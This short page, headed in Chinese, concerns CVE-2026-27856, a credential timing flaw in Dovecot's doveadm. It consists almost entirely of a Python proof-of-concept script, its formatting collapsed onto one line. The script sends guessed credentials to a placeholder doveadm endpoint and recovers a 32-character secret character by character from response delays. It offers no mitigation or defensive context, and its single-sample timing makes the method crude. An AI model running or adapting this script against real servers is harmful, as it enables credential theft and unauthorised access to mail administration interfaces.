CVE-2026-27856 Doveadm凭据时序攻击漏洞

import requests import time # Conceptual PoC for Timing Oracle Attack def check_timing(target_url, payload): start_time = time.time() try: # Sending a request with a guessed credential response = requests.post(target_url, data={'auth': payload}, timeout=5) except Exception as e: pass end_time = time.time() return end_time - start_time target = "http://target-doveadm:8080/auth" char_set = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" current_guess = "" # Simple loop to simulate guessing characters based on time delay for i in range(32): best_char = "" max_time = 0 for char in char_set: test_guess = current_guess + char duration = check_timing(target, test_guess) # A longer duration might indicate a correct prefix match if duration > max_time: max_time = duration best_char = char current_guess += best_char print(f"Current guess: {current_guess}")